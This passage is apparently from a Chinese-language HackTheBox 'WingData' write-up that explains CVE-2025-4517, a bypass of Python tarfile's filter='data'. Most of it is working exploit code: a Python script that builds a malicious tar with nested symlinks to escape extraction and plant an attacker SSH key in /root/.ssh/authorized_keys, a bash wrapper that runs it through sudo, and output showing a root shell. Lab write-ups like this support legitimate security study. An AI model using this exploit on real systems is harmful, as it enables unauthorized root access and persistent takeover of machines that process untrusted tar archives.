tar.extractall(path=staging_dir, filter="data")
print(f"[+] Extraction completed in {staging_dir}")
except (tarfile.TarError, OSError, Exception) as e:
print(f"[!] Error during extraction: {e}", file=sys.stderr)
sys.exit(2)

if __name__ == "__main__":
main()
wacky@wingdata:~$

利用这个脚本可以实现任意文件写入

Python 的 tarfile 模块在启用 filter="data" 时,会调用类似 os.path.realpath() 的函数来解析归档文件中的路径和软链接(Symlink),以确保解压出来的文件路径不会“逃逸”出目标解压目录。

核心缺陷在于路径解析的错误处理机制: 当遇到极其复杂的嵌套路径或软链接时,如果解析展开后的路径长度超过了操作系统的最大限制(即 PATH_MAX,在 Linux 下通常是 4096 字节),系统底层会抛出 ENAMETOOLONGOSError。 为了保证程序的容错性,Python 的校验代码在捕获到这类异常时,会放弃通过操作系统进行真实的路径解析,而是退化为简单的“字符串字面量拼接”。这就导致了“安全校验逻辑看到的路径”和“操作系统最终实际写入时解析的路径”产生了致命的偏差。

第一步:构建“路径膨胀”陷阱 (Path Elongation) 脚本循环 16 次,每次创建一个长达 247 字符的真实目录(comp),并创建一个指向它的单字符软链接(a, b, c…)。当你从顶层访问 a/b/c/d... 时,虽然路径字面量很短,但在操作系统层面,它会被逐层展开为 dd.../dd.../dd...。这种指数级的展开使得真实路径长度迅速爆表,超过操作系统的 PATH_MAX 限制。

第二步:构建“反弹”软链接 (The Rebound) 脚本在上述极长路径的末端,创建了一个软链接 l。它的目标是 ../../../...(向上返回 16 层),作用是刚好将路径反弹回解压的根目录。

第三步:欺骗过滤器 (Bypassing filter="data") 脚本创建了真正的恶意软链接 escape,其目标指向我们构造的超长路径 + 反弹路径 + 目标越权路径(即 linkpath + "/../../../../../../root")。 当 filter="data" 检查 escape 时,它尝试解析目标路径。由于前面的部分在展开时触发了 ENAMETOOLONG 异常,Python 的校验逻辑退化为字符串字面量的消除。在纯字面量计算下,系统错误地抵消了 ../,误以为这个路径最终仍然在安全的解压目录内,从而放行escape 软链接的创建。

第四步:完成越权写入 (Execution) 最后,脚本将恶意公钥作为普通文件写入到 escape/.ssh/authorized_keys 中。 此时,安全校验已经结束,escape 软链接已经被物理释放到了磁盘上。当 tarfile 尝试打开这个文件句柄准备写入时,操作系统内核接管了路径解析。OS 完全听从软链接的指引,顺着 escape 成功定位到了真实的 /root/.ssh/authorized_keys,并写入了你的 SSH 公钥。由于执行环境是 sudo(root),写入畅通无阻。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
cd /tmp

# First, generate SSH key if you haven't already
ssh-keygen -t ed25519 -f /tmp/rootkey -N ""

# Copy your public key
PUBKEY=$(cat /tmp/rootkey.pub)

# Create the malicious tar with CVE-2025-4517
python3 << EXPLOIT
import tarfile, os, io

comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""

with tarfile.open("backup_1002.tar", mode="x") as tar:
for i in steps:
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)

linkpath = os.path.join("/".join(steps), "l" * 254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = ("../" * len(steps))
tar.addfile(l)

e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../root"
tar.addfile(e)

ssh_dir = tarfile.TarInfo("escape/.ssh")
ssh_dir.type = tarfile.DIRTYPE
ssh_dir.mode = 0o700
tar.addfile(ssh_dir)

pubkey = b"${PUBKEY}\n"
ak = tarfile.TarInfo("escape/.ssh/authorized_keys")
ak.type = tarfile.REGTYPE
ak.size = len(pubkey)
ak.mode = 0o600
tar.addfile(ak, fileobj=io.BytesIO(pubkey))

print("[+] Malicious tar created")
EXPLOIT

# Deploy the exploit
cp /tmp/backup_1002.tar /opt/backup_clients/backups/
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1002.tar -r restore_root

# Try to SSH as root
ssh -i /tmp/rootkey root@localhost cat /root/root.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
cat << 'EOF' > /tmp/pwn_root.sh
#!/bin/bash

# 1. 环境清理与准备
cd /tmp
rm -f /tmp/rootkey /tmp/rootkey.pub /tmp/backup_1002.tar
echo "[*] 正在生成攻击者 SSH 密钥对..."
ssh-keygen -t ed25519 -f /tmp/rootkey -N "" -q

# 获取生成的公钥内容
PUBKEY=$(cat /tmp/rootkey.pub)

# 2. 编写 Python 脚本来构造利用 CVE-2025-4517 的恶意 Tar 包
echo "[*] 正在构造 CVE-2025-4517 恶意 Tar 包..."
python3 - << EXPLOIT_PYTHON
import tarfile, os, io

comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""
pubkey_content = b"${PUBKEY}\n"

with tarfile.open("backup_1002.tar", mode="x") as tar:
# 构造深度嵌套目录和符号链接对
for i in steps:
# 添加目录
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)

# 添加指向该目录的符号链接
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)

path = os.path.join(path, comp)

# 构造能够跳出 staging 目录的深层链接
linkpath = os.path.join("/".join(steps), "l" * 254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = ("../" * len(steps))
tar.addfile(l)

# 构造最终指向 /root 的 escape 符号链接
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../root"
tar.addfile(e)

# 通过 escape 链接创建 .ssh 目录
ssh_dir = tarfile.TarInfo("escape/.ssh")
ssh_dir.type = tarfile.DIRTYPE
ssh_dir.mode = 0o700
tar.addfile(ssh_dir)

# 写入公钥到目标位置
ak = tarfile.TarInfo("escape/.ssh/authorized_keys")
ak.type = tarfile.REGTYPE
ak.size = len(pubkey_content)
ak.mode = 0o600
tar.addfile(ak, fileobj=io.BytesIO(pubkey_content))

print("[+] 恶意 Tar 包 'backup_1002.tar' 已成功创建")
EXPLOIT_PYTHON

# 3. 部署并触发漏洞
echo "[*] 正在将 Tar 包投递至备份目录..."
cp /tmp/backup_1002.tar /opt/backup_clients/backups/

echo "[*] 正在以 root 权限运行提取脚本 (触发漏洞)..."
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1002.tar -r restore_root

# 4. 尝试通过 SSH 登录 root
echo "[*] 验证权限中... 尝试读取 /root/root.txt"
ssh -i /tmp/rootkey root@localhost -o "StrictHostKeyChecking=no" "cat /root/root.txt"

# 5. 提供交互式 root Shell
echo "[*] 正在为你开启交互式 Root Shell..."
ssh -i /tmp/rootkey root@localhost -o "StrictHostKeyChecking=no"
EOF

# 赋予执行权限并启动
chmod +x /tmp/pwn_root.sh
/tmp/pwn_root.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/tmp/pwn_root.shn_root.shlocalhost -o "StrictHostKeyChecking=no" "cat /root/root.txt"002.tar -r restore_root
[*] 正在生成攻击者 SSH 密钥对...
[*] 正在构造 CVE-2025-4517 恶意 Tar 包...
[+] 恶意 Tar'backup_1002.tar' 已成功创建
[*] 正在将 Tar 包投递至备份目录...
[*] 正在以 root 权限运行提取脚本 (触发漏洞)...
[+] Backup: backup_1002.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_root
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_root
[*] 验证权限中... 尝试读取 /root/root.txt
[*] 正在为你开启交互式 Root Shell...
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Feb 15 02:08:26 2026 from ::1
root@wingdata:~#

核心缺陷:路径解析的“降级”机制

Python 的 tarfile.extractall(filter="data") 旨在防止路径穿越攻击 。但在处理极长路径时,它存在一个致命的逻辑矛盾:

1.

正常状态:Python 会尝试调用操作系统的 API(如 realpath)来验证解压路径是否超出了目标目录 。

2.

异常触发:当路径长度超过操作系统的限制(Linux 下 PATH_MAX 通常为 4096 字节)时,系统 API 会抛出 ENAMETOOLONG 错误 。

3.

防御失效:为了保证程序不崩溃,Python 的校验代码在捕获到此异常后,会**退化(Fallback)**到简单的“字符串拼接和消除”逻辑 。它不再检查真实的磁盘路径,只在内存中计算字符串字面量。

攻击构造:路径膨胀与反弹

攻击者通过精心构造的 Tar 包,利用上述机制实现了任意文件写入

  • 路径膨胀 (Path Elongation): 脚本创建了多层极深的目录(如 16 层,每层 247 字符),使得展开后的绝对路径长度远超 4096 字节 。这成功诱导 Python 放弃真实的路径校验 。
  • 反弹软链接 (The Rebound): 在超长路径的末端放置一个指向多级上层目录的软链接 。对于“降级”后的字符串校验逻辑,它认为 ../ 只是抵消了前面的目录名,路径依然“安全” 。
  • 物理越权写入: 当 sudo 运行的 Python 脚本真正执行磁盘写入时,操作系统内核会解析软链接 。由于此时已经绕过了 Python 的软件层过滤器,内核顺着软链接将文件直接写入了 /root/.ssh/authorized_keys

HackTheBox-WingData
http://example.com/2026/02/15/HackTheBox-WingData/
Author
Skyarrow
Posted on
February 15, 2026
Licensed under